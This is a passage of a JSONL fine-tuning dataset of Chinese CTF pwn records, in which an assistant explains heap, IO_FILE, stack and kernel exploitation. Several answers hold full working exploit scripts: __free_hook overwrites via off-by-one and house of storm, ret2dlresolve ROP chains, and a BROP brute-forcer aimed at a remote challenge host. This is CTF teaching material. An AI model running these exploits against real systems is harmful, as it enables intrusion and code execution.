{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b0d7a6ba38651ee72db4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「2. 泄露地址」。\n资料来源：IO-FILE/house of storm/2026ccb catchme/wp.md；主题：2026ccb catchme；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 2. 泄露地址\n- 利用唯一一次show，泄露某个chunk的`tag`（即 `chunk + 0x8`），其中包含堆地址的低12位和高8位。\n- 由于`malloc`返回地址的低12位固定（对齐），可结合已知偏移推算出**堆基址**。\n- 但由于没有libc泄露，需要通过后续操作**暴力爆破**或利用`__free_hook`附近的已知偏移（如`__free_hook`相对`libc`的偏移已知，只需爆破低12位）。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-24793a81e0cb3476", "original_line": 231, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "split_group_key": "59c73050f60dc7a2444c3b7f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b1150722b8d74db11e76", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/off-by-one/Asis_2016_b00ks/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/off-by-one/Asis_2016_b00ks/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `changename`\n- `createbook`\n- `createname`\n- `deletebook`\n- `editbook`\n- `printbook`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0xffff`, `0x21000`, `0x4f365`, `0x4f3c2`, `0x10a45c`, `0x5b7010`\n\n训练用代码片段：\n```python\nfrom pwn import *\ncontext.log_level = \"info\"\n\nbinary = ELF(\"b00ks\")\nlibc = ELF(\"/buu/64/libc-2.23.so\")\nhollk = process(\"./b00ks\")\n\n\ndef createbook(name_size, name, des_size, des):\n        hollk.readuntil(\"> \")\n        hollk.sendline(\"1\")\n        hollk.readuntil(\": \")\n        hollk.sendline(str(name_size))\n        hollk.readuntil(\": \")\n        hollk.sendline(name)\n        hollk.readuntil(\": \")\n        hollk.sendline(str(des_size))\n        hollk.readuntil(\": \")\n        hollk.sendline(des)\n\ndef printbook(id):\n        hollk.readuntil(\"> \")\n        hollk.sendline(\"4\")\n        hollk.readuntil(\": \")\n        for i in range(id):\n                book_id = int(hollk.readline()[:-1])\n                hollk.readuntil(\": \")\n                book_name = hollk.readline()[:-1]\n                hollk.readuntil(\": \")\n                book_des = hollk.readline()[:-1]\n                hollk.readuntil(\": \")\n                book_author = hollk.readline()[:-1]\n        return book_id, book_name, book_des, book_author\n\ndef createname(name):\n        hollk.readuntil(\"name: \")\n        hollk.sendline(name)\n\ndef changename(name):\n        hollk.readuntil(\"> \")\n        hollk.sendline(\"5\")\n        hollk.readuntil(\": \")\n        hollk.sendline(name)\n\ndef editbook(book_id,new_des):\n        hollk.readuntil(\"> \")\n        hollk.sendline(\"3\")\n        hollk.readuntil(\": \")\n        hollk.writeline(str(book_id))\n        hollk.readuntil(\": \")\n        hollk.sendline(new_des)\n\ndef deletebook(book_id):\n        hollk.readuntil(\"> \")\n        hollk.sendline(\"2\")\n        hollk.readuntil(\": \")\n        hollk.sendline(str(book_id))\n\ncreatename(\"hollkaaabbbbbbbbccccccccdddddddd\")\ncreatebook(128, \"hollk_boo1\", 32, \"hollk_desc1\")\ncreatebook(0x21000, \"hollk_boo2\", 0x21000, \"hollk_desc2\")\n\nbook_id_1, book_name, book_des, book_author = printbook(1)\nbook1_addr = u64(book_author[32:32+6].ljust(8,b'\\x00'))\nlog.success(\"book1_address:\" + hex(book1_addr))\n\npayload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr+0x40) + p64(0xffff)\neditbook(book_id_1,payload)\nchangename(\"hollkaaabbbbbbbbccccccccdddddddd\")\n\nbook_id_1, book_name, book_des, book_author = printbook(1)\nbook2_name_addr = u64(book_name.ljust(8,b\"\\x00\"))\nbook2_des_addr = u64(book_des.ljust(8,b\"\\x00\"))\nlog.success(\"book2 name addr:\" + hex(book2_name_addr))\nlog.success(\"book2 des addr:\" + hex(book2_des_addr))\nlibc_base = book2_des_addr - 0x5b7010\nlog.success(\"libc base:\" + hex(libc_base))\n\nfree_hook = libc_base + libc.symbols[\"__free_hook\"]\none_gadget = libc_base+0x4f3c2 #0x4f365、0x4f3c2、0x10a45c\nlog.success(\"free_hook:\" + hex(free_hook))\nlog.success(\"one_gadget:\" + hex(one_gadget))\neditbook(1, p64(free_hook))\neditbook(2, p64(one_gadget))\n#gdb.attach(hollk)\ndeletebook(2)\nhollk.interactive()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-b2e3e2cea8e15793", "original_line": 20, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/Asis_2016_b00ks/exp.py", "split": "train", "split_group_key": "0c8e84acf740fe0e3a4aeb9a"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/Asis_2016_b00ks/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b22298cfa1cc22a7f3ea", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「tcache bin. Poison that OOB tcache entry to return __free_hook, then write system.」。\n资料来源：Heap/2024ylb-ezheap/writeup.md；主题：2024ylb-ezheap；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# tcache bin. Poison that OOB tcache entry to return __free_hook, then write system.\nedit(p64(mp_))\ndelete(3)\ndelete(0)\nadd(0x500, p64(0) * 13 + p64(free_hook))\nadd(0x500, p64(system))", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-4cbc40cf09109199", "original_line": 49, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "split_group_key": "e6e49a34b13c4025336aabf4"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b22541aee948e97ec40e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「栈迁移」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 栈迁移\n\n栈迁移可以说是比赛中栈利用部分考的最多的内容，栈迁移主要是为了解决栈溢出溢出空间大小不足的问题。\n\n通过栈溢出将将栈中的ebp覆盖为fake_ebp-4（64位为fake_ebp-8，因为leave指令mov esp,ebp之后还有pop ebp使得esp增加），通过两次leave可以将esp的值改为fake_ebp，从而完成栈迁移，这样就可以在溢出空间不足的情况下构造完整的rop链。", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-c2909200dc65142c", "original_line": 609, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b2f4070e74a1a1cd68f1", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「完整 exploit」。\n资料来源：Heap/off-by-one/2024ylb-null/WP.md；主题：2024ylb-null Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 完整 exploit\n\n项目中已有 `exp.py`，核心 payload 如下：\n\n```python\nadd(0, 0xF8)\nadd(1, 0x68)\nadd(2, 0xF8)\nfor i in range(3, 10):\n    add(i, 0xF8)\nadd(12, 0x68)\n\nfor i in range(3, 10):\n    delete(i)\ndelete(0)\ndelete(1)\n\nadd(1, 0x68)\nedit(1, b\"a\" * 0x60 + p64(0x170))\ndelete(2)\n\nadd(0, 0x70)\nadd(2, 0x70)\nshow(1)\np.recvuntil(b\"Content: \")\nlibcbase = u64(p.recvuntil(\"\\x7f\")[-6:].ljust(8, b\"\\x00\")) - 0x3ebca0\n\nadd(3, 0x68)\nfree_hook = libcbase + libc.sym[\"__free_hook\"]\nsystem = libcbase + libc.sym[\"system\"]\n\ndelete(3)\nedit(1, p64(free_hook))\nadd(9, 0x68)\nedit(9, b\"/bin/sh\\x00\")\nadd(10, 0x68)\nedit(10, p64(system))\ndelete(9)\n\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-5f1ff15c694370b4", "original_line": 8, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "split_group_key": "d6b6a0a5a29a7b1892b4d993"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b31f44e4116645fe41f5", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「如果不能跨 cache reclaim」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/README.md；主题：2026d3ctf-d3kheap2pro；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 如果不能跨 cache reclaim\n\n更可能的路线是围绕模块自身 cache 做文章：\n\n- 构造多个 slot 指向同一 object；\n- 制造重复释放链；\n- 观察 SLUB freelist 状态是否能被操纵；\n- 尝试让同一对象被多次分配到不同 slot；\n- 寻找是否可以通过 refcnt / slot 状态破坏形成进一步 primitive。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-8a6acaffd08464f2", "original_line": 35, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "split_group_key": "4f24a40cea540ed9b113d0aa"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b39e6e872f024c8dd10e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「3. 伪造 FILE」。\n资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# 3. 伪造 FILE\npayload  = p64(0) * 2 + p64(1) + p64(2)\npayload  = payload.ljust(0x78, b\"\\x00\") + p64(fortune + 0x4a0)\npayload  = payload.ljust(0x90, b\"\\x00\") + p64(fortune + 0x200)\npayload  = payload.ljust(0xc8, b\"\\x00\") + p64(libcbase + libc.sym[\"_IO_wfile_jumps\"])\nfix(1, payload)", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-b8f9ac4647a07427", "original_line": 208, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "split_group_key": "8872b8a958dc5167d996bedd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b4adee8b9a7ad93afb10", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「再验证自定义 cache 是否隔离」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/README.md；主题：2026d3ctf-d3kheap2pro；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 再验证自定义 cache 是否隔离\n\n理论上，显式 `kmem_cache_create(\"d3kheap2pro_cache\", 0x800, ...)` 创建的是独立 cache。\n\n如果完全隔离，那么普通 `pipe_buffer`、`msg_msg`、`seq_operations`、`tty_struct` 等对象不一定能 reclaim 这个 object。\n\n需要在 QEMU 中用调试方式确认：\n\n- 打印 `kmem_cache_alloc/free` 返回地址；\n- 查看 `/proc/slabinfo` 中 `d3kheap2pro_cache` 状态；\n- 比较其他 spray 对象是否进入同一 cache。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-1a5f64d3f84b6490", "original_line": 364, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "split_group_key": "4f24a40cea540ed9b113d0aa"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b57ccab1e85b2d239dc9", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `IO-FILE/house of storm/2026ccb catchme/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`IO-FILE/house of storm/2026ccb catchme/exp.py`\n\n分类：io_file\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `clear`\n- `cmd`\n- `dbg`\n- `delete`\n- `edit`\n- `pwn1`\n- `pwn2`\n- `pwn3`\n- `show`\n\n利用主题关键词：\n- heap/tcache\n- io-file/fsop\n\n关键常量/偏移样例：\n`0x4F302`, `0x3ebca0`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nrt = lambda x: io.recvuntil(x)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('./catchme')\nio = process([elf.path])\nlibc = ELF(\"libc-2.27.so\")\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\ndef cmd(choice):\n    rt(\">>\")\n    sl(str(choice))\n\ndef add(index):\n    cmd(1)\n    rt(\"(3)otter\")\n    s(str(index))\n\ndef delete(index):\n    cmd(2)\n    rt(\"index:\")\n    s(str(index))\n\ndef show(index):\n    cmd(3)\n    rt(\"index:\")\n    s(str(index))\n\ndef edit(index,content):\n    cmd(4)\n    rt(\"index:\")\n    s(str(index))\n    rt(\"set tag:\")\n    s(content)\n\ndef clear(index):\n    cmd(6)\n    rt(\"index:\")\n    sl(str(index))\n\n#我们一开始布局出现了失误，对于堆块合并忘了，后来又记起来了\ndef pwn1():\n    global lib\n    add(1)\n    add(1)\n    delete(0)\n    show(0)\n    rt(\"tag:\")\n    lib = u64(io.recv(6).ljust(8, b'\\x00'))-0x3ebca0\n    pr(lib)\n    delete(1)\n    clear(0)\n    clear(1)\ndef pwn2():\n    for i in range(7):\n        add(3)\n        delete(0)\n        clear(0)\n\ndef pwn3():\n    add(2)#0\n    add(3)#1\n    add(1)#2\n    add(3)#3\n    delete(2)\n    delete(0)\n    clear(0)\n    #放入largebin\n    add(2)#0\n    #unsortedbin归位\n    delete(0)\n    fake_chunk = lib + libc.sym[\"__free_hook\"] - 0x18\n    edit(0,p64(fake_chunk))\n    edit(2, p64(fake_chunk + 8) + p64(0) + p64(fake_chunk - 0x18 - 5))\n    add(3)\n    ogg = lib + 0x4F302\n    edit(4, p64(ogg))\n    gdb.attach(io)\n    delete(4)\nif __name__ == \"__main__\":\n    pwn1()\n    pwn2()\n    pwn3()\n    io.interactive()\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-3e1efe137cd5072c", "original_line": 164, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/exp.py", "split": "train", "split_group_key": "4336956b8f2b928c6fef1261"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b5f6b3499f75c663f68e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「（1）32位dl_resolve构造模板」。\n资料来源：Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md；主题：dl_resolve-any_gadget；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### （1）32位dl_resolve构造模板\n\n​\t参见代码**stage6_original.py**\n\n​\t漏洞代码：\n\n```c\n#include \n#include \n#include \n\nvoid vuln()\n{\n    char buf[100];\n    setbuf(stdin, buf);\n    read(0, buf, 256);\n}\nint main()\n{\n    char buf[100] = \"Welcome to XDCTF2015~!\\n\";\n\n    setbuf(stdout, buf);\n    write(1, buf, strlen(buf));\n    vuln();\n    return 0;\n}\n```\n\n​\t利用步骤：\n\n​\t\t1.控制`eip`为PLT[0]的地址，只需传递一个`index_arg`参数\n\n​\t\t2.控制`index_arg`的大小，使`reloc`的位置落在可控地址内\n\n​\t\t3.伪造`reloc`的内容，使`sym`落在可控地址内\n\n​\t\t4.伪造`sym`的内容，使`name`落在可控地址内\n\n​\t\t5.伪造`name`为任意库函数，如`system`\n\n​\t利用第一阶段：\n\n​\t\t把rop写入bss段，劫持栈并跳转过去。\n\n```python\n#!/usr/bin/python\n\nfrom pwn import *\nelf = ELF('bof')\noffset = 112\nread_plt = elf.plt['read']\nwrite_plt = elf.plt['write']\n\nppp_ret = 0x08048619 # ROPgadget --binary bof --only \"pop|ret\"\npop_ebp_ret = 0x0804861b\nleave_ret = 0x08048458 # ROPgadget --binary bof --only \"leave|ret\"\n\nstack_size = 0x800\nbss_addr = 0x0804a040 # readelf -S bof | grep \".bss\"\nbase_stage = bss_addr + stack_size\n\nr = process('./bof')\n\nr.recvuntil('Welcome to XDCTF2015~!\\n')\npayload = 'A' * offset\npayload += p32(read_plt) # 读100个字节到base_stage\npayload += p32(ppp_ret)\npayload += p32(0)\npayload += p32(base_stage)\npayload += p32(100)\npayload += p32(pop_ebp_ret) # 把base_stage pop到ebp中\npayload += p32(base_stage)\npayload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage\nr.sendline(payload)\n```\n\n​\t利用第2阶段：\n\n```python\ncmd = \"/bin/sh\"\nplt_0 = 0x08048380   # objdump -d -j .plt bof\nrel_plt = 0x08048330 # objdump -s -j .rel.plt bof\nindex_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc，减去rel_plt即偏移\nwrite_got = elf.got['write']\ndynsym = 0x080481d8  #readelf -d bof     readelf -S bof\ndynstr = 0x08048278\nfake_sym_addr = base_stage + 36\nalign = 0x10 - ((fake_sym_addr - dynsym) & 0xf)# 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小\nfake_sym_addr = fake_sym_addr + align\nindex_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10，得到write的dynsym索引号\nr_info = (index_dynsym << 8) | 0x7\nfake_reloc = p32(write_got) + p32(r_info)\nst_name = (fake_sym_addr + 0x10) - dynstr   #fake_sym（Elf32_Sym结构体）大小0x10\nfake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)\n\npayload2 = 'AAAA'\npayload2 += p32(plt_0)\npayload2 += p32(index_offset)\npayload2 += 'AAAA'\npayload2 += p32(base_stage + 80)\npayload2 += 'aaaa'\npayload2 += 'aaaa'\npayload2 += fake_reloc # (base_stage+28)的位置\npayload2 += 'B' * align\npayload2 += fake_sym # (base_stage+36)的位置\npayload2 += \"system\\x00\"\npayload2 += 'A' * (80 - len(payload2))\npayload2 += cmd + '\\x00'\npayload2 += 'A' * (100 - len(payload2))\nr.sendline(payload2)\nr.interactive()\n```\n\n​\t固定模板，需要修改所有出现的地址。\n\n####（2）32位roputils库使用\n\n​\t参见代码**stage6_roputils.py**\n\n​\t代码如下：\n\n```python\n#!/usr/bin/python\n#coding:utf-8\n\nimport roputils\nfrom pwn import *\n#只需确定文件名+溢出偏移。roputils.py文件要放到同一目录下\nfpath = './bof'\noffset = 112\n\nrop = roputils.ROP(fpath)\naddr_bss = rop.section('.bss')\n\nbuf = rop.retfill(offset)\nbuf += rop.call('read', 0, addr_bss, 100)\nbuf += rop.dl_resolve_call(addr_bss+20, addr_bss)\n\np=process(fpath)\nprint p.recv()\np.send(p32(len(buf)) + buf)\n\nbuf = rop.string('/bin/sh')\nbuf += rop.fill(20, buf)\nbuf += rop.dl_resolve_data(addr_bss+20, 'system')\nbuf += rop.fill(100, buf)\n\np.send(buf)\np.interactive()\n```\n\n####（3）32位执行libc任意gadget\n\n​\t首先看看正常的Elf32_Sym结构（read）：\n\n```c\ntypedef struct\n{\n    Elf32_Word st_name;     // Symbol name(string tbl index)  表示在.dynstr中的偏移\n    Elf32_Addr st_value;    // Symbol value\n    Elf32_Word st_size;     // Symbol size\n    unsigned char st_info;  // Symbol type and binding\n    unsigned char st_other; // Symbol visibility under glibc>=2.2\n    Elf32_Section st_shndx; // Section index\n} Elf32_Sym;\n```\n\n​\t如下可见read函数的结构的值和参数意义：\n\n[图片: JMPREL-SYMTAB]\n\n[图片: JMPREL-SYMTAB2]\n\n​\t目标：执行libc-2.23.so中的gadget 0x8fa05 : cmp byte ptr [eax], dl ; pop edi ; ret。\n\n​\t方法：伪造symtab条目，对比可知：\n\n> fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)\n>\n> fake_sym = p32(0) + p32(fake_st_value) + p32(0) + p32(0x__1__12)\n\n​\t\tlibc.symbos['__libc_start_main']=0x18540\n\n​\t\tfake_st_value=0x8fa05-0x18540=0x774C5\n\n​\t\tfake_link_map=elf.got['__libc_start_main']=0x0804A018\n\n​\t\tst_name不需要管。\n\n​\t问题：如何伪造link_map?\n\n​\t\t伪造的link_map地址是libc_start_main的GOT表地址。通过跟踪dl_fixup 函数发现，dl_fixup引用了link_map+0x34/0x38/0x7c处的3个值来寻找STRTAB/SYMTAB/JMPREL这3个表。\n\n​\t解决：提前往link_map+0x34/0x38/0x7c写入有效值。\n\n​\t\t有两种方法：\n\n#####方法1——3个值不变\n\n​\t代码可参考**stage6_libc1.py**。\n\n​\t其实就是 x/100xw  GOT[4]即可发现3个偏移处原本的值，利用read把3个值写到对应偏移处。\n\n#####[图片: success1]\n\n#####方法2——3个值构造\n\n​\t代码可参考**stage6_libc2.py**。\n\n​\t把link_map+0x34/0x38/0x7c处的值记作val_0x34，val_0x38，val_0x7c，也即[link_map+0x34/0x38/0x7c]。跟踪发现，是这样寻找的：\n\n> [val_0x34+4]==STRTAB    dynstr\n>\n> [val_0x38+4]==SYMTAB   dynsym\n>\n> [val_0x7c+4]==JMPREL      rel_plt\n\n \t可以把dynstr、dynsym、rel_plt这3个地址都设置为同一个值base_stage（val_0x34=val_0x38=val_0x7c=base_stage+80-4，[base_stage+80]=base_stage），这样布置bss段伪造栈就更简洁。", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-f541df9d2561a036", "original_line": 586, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md", "split": "train", "split_group_key": "797d0effc87ee7204e563363"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b6a3491836ba068aa2af", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「例题」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 例题\n\n题目：[BUUCTF在线评测](https://buuoj.cn/challenges#axb_2019_brop64)\n\n接下来我们通过一道例题来进行 BROP 的学习。\n\naxb_2019_brop64\n\n- 爆破缓冲区长度\n\n根据上面的思路，我们编写枚举爆破的脚本来爆破缓冲区长度。\n\n```\n#!/usr/bin/env python3\nfrom pwn import *\nimport time\n\nsc=b'Please tell me:'\nxy=b'Goodbye!'\n\ndef GetSize():\n    i = 1\n    while True:\n        try:\n            io=remote(\"node5.buuoj.cn\",25820)\n            io.recvuntil(sc)  # 等待特定的提示信息\n            io.send(i * b'a')\n            time.sleep(0.1) #缓冲一下要不然程序容易gg\n            data = io.recv()\n            io.close()\n            # 如果接收到的数据不包含指定数据，则说明我们已经找到了正确的缓冲区长度\n            if xy not in data:\n                return i-1\n            else:\n                i += 1\n        except EOFError:\n            io.close()\n            return i-1", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-7be1755129a85863", "original_line": 602, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", 